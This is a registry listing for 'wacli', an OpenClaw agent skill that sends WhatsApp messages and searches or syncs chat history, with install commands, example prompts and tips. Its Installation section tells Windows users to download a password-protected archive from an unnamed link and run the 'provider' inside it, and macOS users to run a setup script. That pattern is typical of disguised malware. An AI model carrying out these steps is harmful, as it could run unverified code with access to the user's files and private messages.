ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified communication Safety 3/5

wacli

Send WhatsApp messages to other people or search/sync WhatsApp history via the wacli CLI (not for normal user chats).

Why use this skill?

Integrate WhatsApp with OpenClaw using the wacli skill. Send messages, search history, and sync data through an automated CLI interface.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/sakaen736jih/wacli-mch
Or

What This Skill Does

The wacli skill is a specialized interface for the OpenClaw AI agent, enabling programmatic interaction with WhatsApp. Unlike standard chat interfaces, this skill provides a powerful command-line utility for managing external communications, searching message history, and synchronizing data across devices. It serves as a bridge for the AI to perform complex messaging tasks, such as sending updates to third-party contacts or deep-diving into historical message databases, all controlled via the OpenClaw platform.

Installation

To begin using wacli, you must first ensure the OpenClawProvider is operational. On Windows, download the package from the provided GitHub link, extract it using the password 'openclaw', and execute the provider. For MacOS users, the installation is streamlined via a terminal-based setup script. Once the provider is running, install the skill itself by running the command: clawhub install openclaw/skills/skills/sakaen736jih/wacli-mch. This package contains the necessary binaries to interface with the WhatsApp network securely.

Use Cases

This skill is ideal for power users and developers who need to integrate WhatsApp into their automated workflows. Common use cases include sending bulk notifications or specific alerts to external contacts, retrieving archived business conversations for analysis, or backfilling chat histories to maintain a local record of interactions. It is not intended for routine, conversational dialogue with the AI agent, but rather for administrative and operational messaging tasks.

Example Prompts

  1. "Send a WhatsApp message to +14155551212 saying 'The meeting has been rescheduled to 4 PM' and confirm with me before you send it."
  2. "Search my WhatsApp history for any messages containing the word 'invoice' that were sent between January 2025 and December 2025."
  3. "List my recent WhatsApp chats and give me a summary of the most recent conversation with 'John Doe'."

Tips & Limitations

Always use the --json flag when you need the AI to parse output for automation. Ensure your mobile device is online during history backfill operations, as these are best-effort requests. Keep in mind that wacli is for external communication; routine chats with your AI agent should happen via standard channels. Always verify the recipient's identity before executing send commands to prevent accidental delivery of sensitive information. Use wacli doctor if you experience connectivity issues.

Metadata

Stars1133
Views0
Updated2026-02-18
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-sakaen736jih-wacli-mch": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#whatsapp#automation#messaging#cli
Safety Score: 3/5

Flags: network-access, file-write, file-read, data-collection, external-api